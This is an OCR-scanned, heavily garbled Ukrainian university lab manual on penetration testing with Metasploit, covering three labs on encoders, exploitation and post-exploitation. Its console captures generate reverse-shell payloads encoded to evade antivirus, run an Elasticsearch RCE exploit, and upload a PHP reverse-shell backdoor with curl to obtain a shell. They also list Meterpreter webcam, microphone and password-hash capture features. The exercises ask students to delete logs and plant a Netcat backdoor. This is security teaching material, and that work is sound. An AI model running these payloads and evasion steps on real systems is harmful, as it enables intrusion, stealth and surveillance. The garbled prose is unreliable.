MaiuHi — ckanyBaHHs 1iarinoM WMAP  pgocuth arpecuBHEe 1 MOXeE 3allIKOJIUTH
noJaTKaM, SKI CKaHyIOThCS (TOPT BeO-70/JaTKa MOJYKHA 3HAWTH 3a HA3BOIO cepe
CEpBICIB);

— JOJIaTH Yy 3BIT pe3yJIbTaTU CKaHyBaHb Ta IXHIii ONKC/aHai3;

— HABECTH MO TPH BPA3IMBOCTI JJII KOXKHOI BIpTyaJbHOI MAITWHU, JUIS SKUX
ICHY€ €KCIUIOWT; 3a3HaYUTH 3aroJIOBOK MOAYJIS (Ha3Ba, MOAYJIb. .. JaTy MyOiKarrii).
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JlaGopaTopHa pobora Ne 12
Tema: Enkonepu

Mera: HaBuuTHCS BHKOPHCTOBYBAaTH €HKOAEPHU JUIsl OOXOAY 3axXUCTy
aHTUBIPYCHHUX IIpOrpamM

TeopernuHni BizomocTi

[leiinoan — TepMiH, 1Mo BHKOpUCTOBYeThcs y Metasploit. Ilix mefinoagom
PO3YMIEThCS IPOTPAMHMM KO/, 110 OyJie BUKOHAHO O€3MOCEepPEIHhO Ha CTOPOHI ITLII.
Tomy BaxknmBo, MO0 1eil kox He OylIo TOMIUYEHO AHTUBIPYCHUM MPOTPAMHUM
3a0€3MEUCHHSIM.

Cnouatky o6epimo nieinoas. Hexait e Oyzae neinoan aiis miaKIIOUEHHS X0CTa
710 TeCTyBaJbHUKA Ta HAJaHHS OKPEMOT0 KOMaH/JHOTO PsIKa Ha ONepalliiHii cucTeMi
Windows. [Iist mporo moskHa BUkoHaTu nomyk y Metasploit 3a qomomororo komasau
“search type:payload windows x64 reverse tcp shell” abo oapa3y oOpatu
MOJYJIb “‘€Xec’”’ KOMaHJIO “use payload/windows/x64/shell reverse tcp .

Jlanuii meimoaa motpedye BcTaHOBIeHHS mapamerpa “LHOST” — nana 3MinHa
Ma€ MICTUTH aJpecy, A0 SKOi Mae MmigKaouuThcs. BcTaHOBMMO ii 3HAYEHHS SK
“127.0.0.1” (Pucynok 12.1).

kali@kali: ~

File Actions Edit View Help

msf6 > use payloads/windows/x64/shell_reverse_tcp
msf6 payload( ) > show options

Module options (payload/windows/x64/shell_reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

View the full module info with the s OF f command.
msf6 payload( ) > set lhost 127.0.0.1

lhost = 127.0.0.1
msf6 payload( ) > 1

Pucynok 12.1 — HanamryBanHst MOAYJIsI IeHI0ay

Bci omnepartii 3 renepyBaHHs NeiI0ay BAKOHYIOTHCS KOMAaHJIOIO “generate’ 3
BHKOPHUCTAaHHIM HEOOX1THHX OIIIIH Ta MparopIiB.

[CHYIOTB Ba OCHOBHUX HANPSIMKH IMPUXOBYBAHHS MEWUJI0aTy BiJl aHTUBIPYCHUX
nporpam. llepmuii mosgrae y 3amiHi 0ailTIB BUKOHYBAHOTo (ailimy: uisl 1bOTO
KOMaHJIly “generate” HEOOXIJTHO BHUKOHATH 3 omiiero “-b”. Ilpukmagm 1miei ommii
HaBeleHO Ha Pucynkax 2 Tta 3. sl mojadbIIoro TECTYBaHHS aHTHUBIPYCHUMU

110



mporpaMaMu HaMm NOTPiOHO 3reHepyBaTH 3 IUX IeiIoaiB okpeMi dainu. s uporo
MOKHA JTOJATH HACTYIHI OMIIii: “-f <dopmaT> -o <masma oaiwry> . Jlmsg reneparii
neioaniB icHye okpeMa ytuiaitd msfvenom: ¢yHkiist generatee iHTEpdEiicoM 10
I1€1 YTHITITH.

=

msf6 payload( ) > generate
windows/x64/shell_reverse_tcp - 460 bytes
https://metasploit.com/

VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,
ReverseAllowProxy=false, ReverselistenerThreaded=false,
StagerRetryCount=10, StagerRetryWait=5,

23
#
#
#
#
#
#
b

+

SO MO &

[V o I I
T S S S S S S

NN oom o
+ +

b
O

75\x05\xbb"
\xd5"
generate -f exe -o plain.exe
Writing 7168 bytes to plain.exe...
msf6 payload(

Pucynok 12.2 — I'enepariis neinoany 6e3 3MiH
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msf6 payload( )
windows/x64/shell_reverse_tcp - 510 bytes
//metasploit.com/
x64/xor_dynamic
, LHOST=127.0.0.1, LPORT=4444,
ReverseAllowProxy=false v eListenerThreaded=false,
StagerRetryCount=10, StagerRetr
PrependMigrat lse,
ession=true

> generate -b \8

<0f\xde\x5e"

46\ X

) erate -b \b8 -f exe -o one_substitution.exe
Writing 7168 _substitution.
msf6 payload(

Pucynok 12.3 — I'enepariis neiaoaay 3 BAKOPUCTAHHAM OIIii “-b
Ta 3aMiHi OalTy “8b”

3BEepHITH yBary Ha pi3HUII0 po3MipiB ¢ainy 460 Oalitu B opuriHam ta 510
T1CJIst BAKOPUCTaHHS omilii “~b”. Ile € Hacaiagkom Toro, 1o 0aiT 8b0ys0 3aMiHEHO Ha
1HIII, ajie TAKUM YMHOM, 11100 BUKOHYBaHUN (paiii 3amuiaBcs npare31aTHUM.

[HIIMM HampsSIMKOM TPUXOBYBAaHHS TEWUI0QNy BiJ aHTHBIPYCHUX MPOTpaM €
BUKOPUCTAHHS €HKOEPIB (32 3aMOBUYBAHHSM J1J1s1 T1aTGOpMH X86 BUKOPUCTOBYETHCS
shikata_ga_nai). Xou 3apa3 Haiikpamuii eHKOAEp IS KOHKPETHOI IuIaThopMu
BUKOPUCTOBYETHCSI aBTOMATUYHO TI1]] YaC BUKOHAHHS M1JCTAHOBKH — 1€ HAIIPSIM Ja€
HaM MO>KJIMBICTh CAMHM OOHMpaTH Ta KOMOIHYBaTH eHkojiepu. [lepernsHyTu goctymnHi
€HKOJIEpM MOYKHAa BHMKOHABIIM TOLIYK 32 KIKYOBHUM CIIOBOM ‘‘encoder’. [ns
BUKOPHCTaHHS €HKOJEPY HEOOXIIHO BKA3aTH HOro nuistx micis “-e” (Pucynok 12.4).
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msf6 payload( ) > generate -b \8b -e x86/shikata_ga_nai
# windows/x64/shell_reverse_tcp - 487 bytes

# https://metasploit.c

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,

# ReverseAllowProxy=false, ReverselListenerThreaded=false,

# StagerRetryCount=10, StagerRetryWait=5,

# PrependMigrate=false, EXITFUNC=process, CreateSession=true,

# AutoVerifySession=true

buf =

\x0a\x37\xed\x78\xc
7d\x43\x6a\x2c\xf6\x31\
xbc\x18\x5a\xcc\x74 L 9\x5c\xc

msf6 payload( ) > generate -b \8 ) /shikata_ga_nai
exe -0 shikta_ga_nai_substitution.exe
Writing 7168 bytes to shikta_ga_nai_substitution.exe ...

msf6 payload( I |

Pucynok 12.4 — BukopuctanHsi €HKOJIepY IS TeHepallii neinoany

Hapa3i ocHOBHOIO METOI0 BUKOPUCTAHHS €HKOJIEPIB € MOKPAIEHHS CyMICHOCTI
neioaaa 3 MeBHOIO apXiTEKTYporo mporiecopa (X64, x86, arm...). Panime enkoaepu
aKTHBHO 3aCTOCOBYBAJIHUCS I 00XOJy aHTHBIPYCHUX MPOTPaM, OJHAK 3 PO3BUTKOM
TEXHOJIOT1i, BIPOBA/KEHHSIM MAIlIMHHOTO HAaBYAHHS Ta 1HIIUX MiAXOI1B 10 aHATI3Y 11e
ctae aenani meHm eextuBHuM. 106 y mboMy mepekoHaTHCS, MEPEeBIpUMO OIWH 3
neioaiB 3a 10moMororo ontaH-cepsicy VirusTotal. Bin mae mumarin ains Metasploit,
omHak motpedbye APIl-xmoua, s oTpuMaHHS KOTpPOro TMOTpiOHA peecTparris.
[Tepeiimorim 3a aapecoro Virustotal.com, o6upaemo ¢aiin Ta mouMHaEMO CKaHyBaHHS.
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Ieit ceppic nepeipsie ¢aiis 3a JOMOMOTor0 69 HalBIIOMIIIUX aHTUBIPYCHUX PIIIEHB 1
HaJia€ OILIHKY B 3aJICKHOCTI BiJl KUIBKOCTI cipamoBadb (PucyHok 12.5).

= > VIRUSTOTAL Q 58

SUMMARY DETECTION DETAILS BEHAVIOR O COMN

Join the VT Community and enjoy additional community insights and
crowdsourced detections.

48 security vendors and no sandboxes flagged
this file as malicious

Community Score /

f63046faebc34e7409211d3a197{869939a1337a30b0ff585a16beSde34752cc

shikta_ga_nai_substitution.exe

Pucynok 12.5 — I1epeBipka neiinoana 3a gonomororo VirusTotal

MoxHa mo0auuTH, MO TaKUM Meinoaa ojpasy MO3HAYAETHCS SIK IIKIIJTUBHM,
HaBITh SIKILO MPOIYCTUTH MOTO Kpi3b neBHe komyBaHHS 10 pasiB. OgHak eHkoaepu
710C1 BUKOPUCTOBYIOTH JIJIS ITbOTO, TUTHKK B KOMOIHAIIIT 3 THIITMMH TEXHIKAMHU.

3aBaaHHA:
— BHUKOHATH TEHEpAIlif0 TEeHI0axy 3 BHKOPUCTAHHSAM HE MEHII HDK TPhOX
€HKOJICPIB,;
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— BUKOHATH I'€HEpAIlil0 HE MEHII HIK TPhOX MNEM10a/11B 3 BUKOPUCTAHHSM JIMLIE
migMIiHU OaiiTiB;

— BHKOHATH MepeBipKy aHTUBIpycHUMHE niporpamamu (VirusTotal);

— Y 3BIT A0oAaTH iH(OPMAILIIIO PO BUKOPUCTAH1 €HKOJIEPH 3 OOTPYHTYBaHHSM X
BUOODY;

— JOAaTH 10 3BITY MOPIBHSUIBHY XapaKTEPUCTHKY 3T€HEPOBAHMX MEHIOAiB,
€HKOJIEpiB, 10 BHUKOPUCTOBYBAJIHMCH JUIA I1XHBOI TEHepalii Ta pe3ylbTaTaMu
CKaHyBaHHS aHTHUBIPYCAMH;

— HaBeCTH TpuU crnocodbu o0xony aHtuBipycHoro II3 3 BHKOpUCTaHHSAM
€HKOJIEPIB.
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JlaGopaTopHna podora Ne 13

Tema: ExcrutyaTartist Bpa3nnBOCTe

Meta: HaBuntncs ekcruryatyBaT Bpa3mBOCTi 3a qormomororo Metasploit.
TeopernuHni BizomocTi

Po3aiisitoTh ABa BUIM MOKJIMBHX €KCIUTyaTariii BpasiauBocTel. Ilepia — 1e
BiJlJJaJIeHa E€KCIUTyaTallisl, BOHA JJa€ 3MOTY 3a/IisITH €KCIUIONT B1AAICHO, 110 103BOJISIE
YHUKHYTH HEOOX1THOCTI 3aIyCKy OyAb-sIKUX POTpaMHUX 3ac001B Ha CTOPOHI KIIIEHTA.
Jlpyra — 11e eKcIutyaTailisi Ha CTOpOHI KIII€HTa, Y IbOMY BUIIAJKy Ha CTOPOHI KJII€EHTa
3aIlyCKA€eThCSl BUKOHYBaHUM (paiil ab0 CKpPHUIT, SIKM BUKOHYE IMIJKIIOYEHHS [0
CHUCTeMH TecTepa. | B mepiiomMy, 1 B Ipyromy BUMAAKy Ha CTOPOHI TecTepa MOBUHEH
IpaloBaTH XEHJIE, AKUIl Oy/ie OUiKyBaTH 3’ € JHAHHS.

VY BumazKy 3 BIAJQJCHUM EKCIUTyaTyBaHHSIM BpAa3JIMBOCTI XEeHAJEp Oyxae
YBIMKHEHO aBTOMAaTH4YHO, y pa3l 3 JIOKAJIbHOK E€KCIUTyaTall€lo (Ha CTOPOHI KIIIEHTA,
client-side attacks) iioro TpebGa BMHKaTH OKpEMO.

BizbMeMo, HanIpuKITa, paHimie 3HaiaeHwid ekcrutonT mist Elasticsearch. B ommci
710 HBOT'O 3a3Ha4YeHO, 1o MoayJIb ekciutyaTye RCE (remote code execution), To0To BiH
€ BIIJTAJICHUM. 3a JIOIIOMOI'0I0 KOMaHIU “show options’ MI3HAEMOCH, SIKI 3HAUCHHS
noTpiOHO BcTaHoBUTHU: Y Hamomy Bunaaky e RHOSTS, RPORT, LHOST ta LPORT.
[H1111 060B’A3K0Ba 3MiHHI BCTAHOBJICHI 32 3aMOBUyBaHHIM. B sikocTi 3Hauens RHOSTS
ta RPORT BCcTaHOBIIOEMO 3HAYCHHS, SKI MOXXHA TEPETISHYTH 3a JOIMIOMOTOIO
KOMaHIHU “services” (Pucynok 13.1).

172.
172.
172.
172.
172
172.
172.

.128. open

o128% open

.128. elasticsearch open Elastic elasticsearch 1.1.1
1284 msrpc open Microsoft Windows RPC

w128, msrpc open Microsoft Windows RPC

.128. java-rmi open Java RMI

.128. tcpwrapped open

oo m®

P
2
P
p
2
2
2

0 0 W

msf6 exploit( ) > set rhosts 172.28.128.5
rhosts = 172.28.12

msf6 exploit( ) > set rport 9200

rport = 9200

msf6 exploit(

Pucynoxk 13.1 — BcTaHoBiieHHs mapaMeTpiB BiIJIaJIEHOTO XOCTa

Hactymaum kpokom Hamamryemo meinoan. Jns mporo tpeba mimiOpatu
CYMICHUH MeWoaa: NeperasHyTH iXH1H CIHUCOK MOKHA 33 TOTIOMOT'OK0 KOMAH/IU “‘show
payloads”. B 3minny “payload” sammmemo “java/shell_reverse tcp”. YV 3minny
LHOST BBenemo IP-aapecy 31 criiibHOT Mepexi (He 000B’SI3KOBO, ajie ik HA0YHOCT1)
(Pucynoxk 13.2).
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kali@kali: ~
File Actions Edit View Help

exploit( ) > show payloads

Compatible Pa

Disclosure Date K c Description

Custom Payload

payload/gener rm Generic Command Shell, Bind TC

b payload/g ric/shell_r c r Generic Command Shell, R r

TCP Inline
payload/generic/ssh/interact normal Interact with Established SSH

Connection

4 payload/java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind T
CP Inline

5 payload/java/jsp_shell_reverse_tcp normal N Java JSP Command Shell,

P Inline
payload/j: erpreter/bind_tcp normal Java Meterpret Java B

7 payload/j /meterpreter erse_http r' Meterpret Java R
HTTP Sta
8 payload/java/meterpreter/reverse_https ava Meterpret
/java/meterpreter/reverse_tcp normal ava Meterpreter,
Stager
payload/java/shell/bind_tcp normal 0 Command Shell, Ja

payload/java/shell/rev normal

LEVAGELVSEVEY r p 0 1
Inline
payload/multi rpr er normal Architecture-Inde dent Meter
ge, R Stager (Multiple Architectures)
payload/multi te r/r se_https normal Architecture-Independent Meter
preter Stage, Reverse HTT (Multiple Architectures)

payload 12
ad = java/shell_rey c
> exploit( et LHOST 172.28.12
LHOST =

m e
LPORT = 4444
exploit(

Pucynoxk 13.2 — OOpanHs Ta HalaITyBaHHS Teioana

[Ticyis HaMAIITYBaHHS 3aHINAETHCS BBECTH KoMaH Iy “eXploit” i 3a miBXBHIMHU

HAM CcTa€ JocTynmHuid komaHmHuwii psgok  (“shell”) arakoBanoi cucremu
(Pucynox 13.3).
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File Actions Edit View Help

Pucynoxk 13.3 — 3anyck BiJiJaJIeHOT0 €KCIUIOWTA Ta OTPUMAaHHS 1IeTy (KOMaHIHOTO
pszKa)

B nanoMy mpukiazi Mu BXKE€ OTpUMaJIM CUCTEMHI IpaBa (HaWBHILIN pIBEHB),
TOOTO OTpUMAaJIM MOBHUN KOHTPOJb Hajl cuctemoro. lIlo6 He mepepuBatu cecito Ta
npoaoBxuTH npamoBaru 3 Metasploit natucaemo Ctrl+Z — 11e npu3ynuHUTH ceciro 3
MO>KJIUBICTIO BiJIHOBJICHHSI.

[{soro pa3y ob6epimo ekcrutoit mast Linux-mammuau. SIkimo npoanaizyBatu 80
nopt 3a gornomororo WMAP, MokHa moMiTuTH nipuxoBanuii miisx /uploads. Jlorigwno,
[0 BIH MpU3HAYEHUW 711 30€pekeHHs 3aBaHTakeHux (Qaitnie. Lle curnan s
NepeBipKH O/IHI€T BEO-BPa3IMBOCTI: BijajieHoro BkitoueHHs ¢aitnis (RFI, remote file
inclusion).

Excrumyararist mi€i Bpa3nmuBOCTI BBAXKAETHCS JIOKATBHOIO, TOMY IO IIKIJTUBUN
KOJI BUKOHYETBCSI CaMe CEPBEPOM, KU 00poOJIsie 11ei ¢aiin, a He AUCTAHITIIHO.

Axmo Ha cepBep MOXXKHA 3aBaHTaxyBaTu ¢aiau 0e3 aBTeHTHdIKAIT Ta
neperisiaaTi iXHik 3MICT 3a MMOCUJIAHHAM, TO 1€ JIa€ 3MOT'Y 3aBaHTAKUTH TEiI0aa Ha
cepBep Ta BIJIAJICHO HOTo 3aIyCTUTH.

CriouaTKy CTBOPHUMO Tieitioas. B sikocTi ocHOBH BuOepeMo metiioan Ha 6a3i php
31 3BOpoTHMM 3B’si3koM (reverse). JlomaiiMo ajpecy aTakyrod4oi MaIIWHU Ta
3reHepyemo (aiin neinoany (Pucynok 13.4).
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msf6 > search payload/php reverse

Matching Modules

# Name Disclosure Date Rank Check Description

0 payload/php/shell_findsock normal No PHP Command Shell, Find Sock

1 payload/php/reverse php normal No PHP Command Shell, REVErse TcCP

(via PHP)

2 payload/php/reverse perl normal No PHP Command, Double REVEFSE TC
P Connection (via Perl)

3 payload/php/meterpreter/FeVerse tcp normal No PHP Meterpreter, PHP Reverse T
CP Stager

4 payltead/php/meterpreter/peVerse tcp_uuid normal No PHP Meterpreter, PHP REVEFSE T
CP Stager

5 payload/php/meterpreter_FeVerse tcp normal No PHP Meterpreter, Reverse TCP I
nline

Interact with a module by name or index. For example

msf6 > use 1

msf6 payload( ) > set LHOST 172.28.128.6

LHOST = 172.28.128.6

msf6 payload( ) > set LPORT 4444

LPORT = 4444

msf6 payload( ) > generate -f raw -o backdoor.php
Writing 3040 bytes to backdoor.php ...

msf6 payload( ) >

Pucynok 13.4 — CTBOpeHHS Meiioana

st Toro, moO0 pO3rOPHYTH XEHIJIEP Ha CTOPOHI TecTepa, HEOOXIAHO B
“mfsconsole” obOpatu XCHJITIEP 3a JOTIOMOT OO0 KOMaH/IH “use
exploit/multi/handler”. Ilicag 94oro BCTaHOBHUTHU OMNIIII0 “payload’” BIAIIOBIIHO
no reHepoBaHoro (aity. Takoxk HeoOXimHO Bkazatu cBoio |P-agpecy Tta mopt, 1o
AKOTO OyJe MiIKIIoYaTucs Tmeinoan 3 OoKy kiieHTa. B pemrti-pemr, HE0OXiIHO
BUKOHATH KOMaHy “run” Juist 3ammycKy xeHiepa (Pucynok 13.5).

kali@kali: ~
File Actions Edit View Help
kali@kali: ~ X kali@kali: ~ x kali@kali: ~ X

msf6 exploit( ) > use exploit/multi/handler
Using configured payload php/reverse_php

msf6 exploit( ) > set payload php/reverse_php

payload = php/reverse_php

msf6 exploit( ) > set LHOST 172.28.128.6
LHOST = 172.28.128.6

msf6 exploit( ) > set LPORT 4444

LPORT = 4444

msf6 exploit( ) > run

Started reverse TCP handler on 172.28.128.6:4444

Pucynok 13.5 — HamamtyBanHs Ta 3amycKk XeHjiepa
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3a JIOMOMOTOK YTWJIITH curl BHKOHAEMO IMOTPIOHI 3amUTH JI0 CepBepa.
Cnouatky, 3a gonomoroto ormii -X PUT BiagnpaBumo neitnioan Ha cepsep. [licns tumy
3anmuTy Tpeda 3a3HaYUTH MOBHUH NUISIX 110 (ailry (3 BUKOpUCTaHHM @) Ta MallOyTHIi
NUISIX J10 (aitiy.

HacTymHuii 3amuT 3MyCHTh CepBEep BHUKOHATH INKIAJIUBUN KOA 3 Tieioana
(Pucynox 13.6).

PUT @/home/kali/backdoor.php 172.28.128.3/uploads/backdoor.php

~

172.28.128.3/uploads/backdoor.php

Pucynox 13.6 — Hayncunanus neisoana ta ioro 3amyck

Ko 3armuT BUKOHAETHCS, CEpBEp HATAMITYE 3B’ 130K 3 XEHAJIEPOM, 1 yTBOPUTHCS
HoBa cecis (Pucynok 13.7).

msf6 exploit( ) > run

Started reverse TCP handler on 172.28.128.6:4444
Command shell session 1 opened (172.28.128.6:4444 — 172.28.128.3:44916) at 2023-02-26 13:15:50 +0200

<br />

<b>Warning</b>: system(): Cannot execute a blank command in <b>/var/www/uploads/backdoor.php</b> on line <b>1
</b><br />

whoaml

www-data

<br />

<b>Warning</b>: system(): Cannot execute a blank command in <b>/var/www/uploads/backdoor.php</b> on line <b>1
</b><br />

id

uid=33(ww-data) gid=33(ww-data) groups=33(ww-data)

Pucynok 13.7 — YTBOpeHHs cecii

3aBnaHHA:

— BUKOPHUCTATH BPa3JMBICTb, AKa JA€ 3MOTY BIAIAJIEHOT €KCILTyaTallii;

— BUKOPHUCTaTH BpA3JIMBICTh, 110 JA€ 3MOTY €KCIUIyaTyBaTH Bpas3JIMBOCTI Ha
CTOpOHI KJIi€HTA (JIOKAJIBHO);

— JIOAATH y 3BIT BIJOMOCTI MPO MOXJIMBOCTI, 110 Oy/iIM HaJaHi B pe3yJbTaTi
BUKOPUCTAaHHs BPa3JIMBOCTEM;

— JI0JaTH y 3BIT peKOMEHJallli 1010 YCYHEHHS IIUX BPa3JIMBOCTEH, Ta IIOA0
YCYHEHHSI MOKJIMBOCTI iX MOSIBU y MallOyTHHOMY.
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JlaGopaTopHna podora Ne 14
Tema: [loct-excruryaTarris

Meta: HaBUNTHUCS BUKOPUCTOBYBATH MOKJIMBOCTI, 110 BAAJIOCS OTPUMATH TTiCIIS
IPOHUKHEHHS Y CUCTEMY KJII€HTA

TeopernuHni BizomocTi

JJ1s1 BUKOHAHHS JJa0OpaTOPHOi pOOOTH BUKOPUCTOBYWTE 3HAHHS, OTPUMAHI TIiJ1
yac KOPHCTYBaHHSI BIJIMOBIJHOIO OMNEPAIifHOI0 CHUCTEMOIO (HEOOX1IHI 3HaAHHS
napameTpiB, ocoommBocTi HamamTyBaHHs OC 1 T.1.). Takok BUKOPUCTOBYWUTE 3HAHHS
Ta HABUYKH, OTPUMAaHI 3 TOMEPEIHIX JTa0OpATOPHUX POOIT.

[Ticns BUKOHAHHS MOMNEpEHIX JIabopaTOpHUX Majo OyTH OTPUMAHO JIBl CECii:
omHa 3 Windows-MammHOO, Japyra — BignoBigHo 3 Linux-mammboro. 1106
MpaIloBaTl 3 HUMU IMI3HINIE PEKOMEHIYBAJIOCS MPU3YNMUHUTH iX 32 JOTOMOTOIO
knagimr Ctrl+Z,

Hapgami,  komm  ekcrulyatauis  BUKOHaHa,  HacTae  4ac  MOCT-
eKCIUTyaTarlii — TeCTYBaJIbHUK Ma€ JIOCTYI A0 KOMaHIHOTO PsIKa, MOXKJIMBO HAaBITh 3
nmpaBaMu ajaMiHicTparopa. lle Hamae 3mory 30upaTu jJaHi, BHOCUTH 3MIHU B
KOH(]irypailii cepBiciB, IPOIOBKYBATH TPOHUKHEHHSI MEPEXKEIO TOIIIO.

{00 meperisHyTH HaJIAaro KEHi cecii, 10cTaTHLO BBECTH B KoHcom Metasploit
KoMaHAy “sessions”. Ile BIm0oOpa3uTh OCHOBHI cecii Ta iXHI MOIPOOHII
(Pucynox 14.1).

msf6 > sessions

Active sessions

Id Name Type Information Connection

shell java/java Shell Banner: Microsoft Windows [Versi 172.28.128.6:4444 — 172.28.128.5:53686
on 6.1.7601] (172.28.128.5)

shell php/php 172.28.128.6:4444 — 172.28.128.3:44969
(172.28.128.3)

Pucynok 14.1 — Cecii Metasploit

AKTHBYBaTH CECil0 MOXHa 3a JIOMIOMOTOK KOMaHIU ‘“‘sessions -i <id
cecii>”. MiHyC Takux ceciii B TOMY, 1110 OKPIM BiIOOpa’KEHHS CMITTSI Ta 3aJI€KHOCTI
BiJl MOBH KOMaHHOTO PsIKa BOHU II€ ¥ MOXXYTh 0OipBaTHuCs. J[Jis1 BUPINICHHS IHX
npobsiem pasom 3 Metasploit Framework OyB mpencTaBieHH OCOOIHMBHIA
neitnoan — Meterpreter. Floro oco6nmBicTh Tonsrae B TOMy, IO BiH BUKOPHCTOBYE
DLL-ig’exii qyist OUTbIl CTaO1IBHOTO 3B’SI3KY, MOMKJIMBOCTI 30€piraTucs B CHUCTEMI
HaBITh MICJs MEPe3aycKy Ta CUCTEMHHX 3MiH. [0 TOro K, BIH He 3aJIMILIA€ CIJiB HA
KOPCTKUX JHMCKaX, TOMY IO BHKOPUCTOBYE JIMILE OINEPaTUBHY IaM Th, LIO
YCKJIQJIHIO€ HOTO MOINIYK CIEelianiCTaMu.

Joro MeTolo € MOKpaIeHHs MOCT-eKCILTyaTAliiiHuX poBiT, 60 Mae rOTOBMiA
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HaO1p GYHKIIH 1151 BAKOHAHHS TUIIOBUX 3a]1a4.

Maiike KOXHHI EKCIUIONT Ma€e MOXIJIMBICTb BUKOPHUCTATH TOW YU 1HIIMA
Meterpreter-neiinoas, oqHak Oyab-sIKy CECil0 MOXKHA CIIPOOyBaTH MOKPALTUTH A0 Cecii
Meterpreter.

Jlnst 1poro  TOTPIOHO BBECTHM KOMaHIy ‘“‘sessions -u <id cecii>”
(Pucynox 14.2).

msf6 > sessions

Active sessions

Id Name Type Information Connection

1 shell java/java Shell Banner: Microsoft Windows [Versi 25 .28.128.5:53686
on 6.1.7601] g
6 shell php/php .6: 2.28.128.3:44993

msf6 > sessions -u 6
Executing 'post/multi/manage/shell_to_meterpreter' on session(s):

] SESSION may not be compatible with this module:
'] * incompatible session platform: php
Upgrading session ID: 6
Starting exploit/multi/handler
Started reverse TCP handler on 172.28.128.6:4444
Sending stage (1017704 bytes) to 172.28.128.3
Meterpreter session 7 opened (172.28.128.6:4444 — 172.28.128.3:44994) at 2023-02-26 14:39:33 +0200
Command stager progress: 100.00% (773/773 bytes)
msf6 > sessions

Active sessions

Type Information Connection
shell java/java Shell Banner: Microsoft Windows [Ve 172. 8.6:4444 — 172.28.128.5:53
rsion 6.1.7601] (3:13 .
shell php/php 172. .28.128.3:44
993 .
meterpreter x86/linux ww-data @ 10.0.2.15 172.28.128.6:4444 — 172.28.128.3:44
994 (172.28.128.3)

Pucynox 14.2 — [Tokparenus cecii

Axmo aktuByBaTH cecito Meterpreter tTa BBeCTH KOMaHAy “help”, MOXXHa
mo6aunTy 0a30B1 MOXKIIMBOCTI JAHOTO Mennoana. buibiicts komana € iHTepdeiicamu
710 BIJIMOBIIHMX KOMaH]I y Pi3HUX CHUCTeMax: NMOYMHAIOuu Bija (aisioBOi CUCTEMU Ta
MepeKeBUX KOH(DIrypariii 10 mporpaBaHHs ayaio-TPEKy Ha aTaKOBaHIN MalluHi,
3amuc MikpodoHy, BeO-kamepu Ta poOoduoro crona (Pucynok 14.3). Takox, Bcs
iHopmMmartis, 3m00yra Meterpreter, 30epiraetbes B 0a3i JaHuX, SIK TO: KOHpiryparii,
BJIACTUBOCTI CUCTEMHU, 310paHi Xelll napodiiB Ta iHme. OKpiM nepeniueHux QyHKIId
HasBH1 pI3HOMAaHITHI IUIAr1HU, K1 MOXYTb MPUCKOPIOBATH 301p 1HPOpMaIlii.

[lepmioro IiUTFO  TECTyBaJIbHWKA, SKUH 3MIT OTpPUMaB JOCTYIT TIEBHOTO
PIBHSI — TIJIBUIITUTH PIBEHB JOCTYIY 3a JOTIOMOTOI0 ecKajallis mpuBiiaei. s takux
BUNaAKiB € wmoayias /post/multi/recon/local_exploit_suggester. ExcrutoiiTiB ms
eckanarii gyxe OaraTo, TOMy B JaHOMY BHUIIQIKy Oyae AOPEYHUM MOIYJb, SIKUN
nepeBipsie CYMICHICTb €KCIUIOMTIB 3 IaHOK0 KOH(DITypaIli€ro 1 y BUNAIKy 3HaXO0HKEHHS
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EKCIUJIONTA, SIKUH MOXe OyTH BUKOPUCTAHHUM, ITPOIIOHYE HOTO.

Jami Moxmynb IS 3axXOIUICHHS TelnB mapoiiB cucremwu: /post/(windows |
Linux)/gather/hashdump.

CrocTepekeHHS 3a €KpaHOM BiJJIaJICHOTO XOCTI MOJYKHA OpraHi3yBaTH 3a
J0rmoMoror Moy s post/multi//manage/screenshare.

VYei mi ta iHON MOAydl JUISL TOCT-EKCIUTyaTallii MaroTh OJWH CIUIbHUHN
000B’s13k0BUK mapamerp — Id cecii, 10 sIKOI 3aCTOCOBYIOThCS. BIIbIICTh 3 IHX
MOJIYJIIB IHTErpoBaHa B Iarinu st Meterpreter, mo 3akoHOMIpHO, afpke yci GyHKIIT
[[BOTO MEI0ay CTOCYIOThCS JIUIIIE O/IHI€T cecii.

pkill Terminate processes by name

ps List running processes

shell Drop into a system command shell

suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as 0S

Stdapi: Webcam Commands

Command Description

webcam_chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam
webcam_strea Play a video stream from the specified webcam
m

Stdapi: Mic Commands

Command Description
listen listen to a saved audio recording via audio player
mic_list list all microphone interfaces

mic_start start capturing an audio stream from the target mic
mic_stop stop capturing audio

Stdapi: Audio Output Commands

Command Description

play play a waveform audio file (.wav) on the target system

meterpreter > ]

Pucynok 14.3 — Cnucok QpyHKIIH, JOCTYyITHUX 3 BUKOpUcTaHHsIM Meterpreter
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3aBaaHHA:

— OTpPUMATH CKPIHIIOT BiJAaI€HOI MallTuHHY;

— OoTpuMaTH mpasa SysStem/root Ha CTOPOHI CUCTEMU KITIEHTA;

— BUKOHATH BUJIAJICHHS JIOTIB MMOJiil HA CTOPOHI CHCTEMH KITIEHTA,

— HajamtyBatu port-forwarding Ta BiamryBatu 6exaop 3a gonomororo Netcat;
y 3BIT1 B1I00Opa3UTH XiJ1 BUKOHAHHS POOOTH;

— JI0JIaTH CKPIHIIIOTH Ta BUB1J KOHCOJI.
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https://www.scopus.com/record/display.uri?eid=2-s2.0-85065482781&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=5&citeCnt=0&searchTerm
https://www.scopus.com/record/display.uri?eid=2-s2.0-85065482781&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=5&citeCnt=0&searchTerm
https://www.scopus.com/record/display.uri?eid=2-s2.0-84938096221&origin=resultslist&sort=plf-f&src=s&sid=d686ad0e756d5334e61f7258a32f58c1&sot=autdocs&sdt=autdocs&sl=18&s=AU-ID%2857208667815%29&relpos=6&citeCnt=33&searchTerm
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http://journals.khnu.km.ua/vestnik/?cat=65

Kareropist «b»)

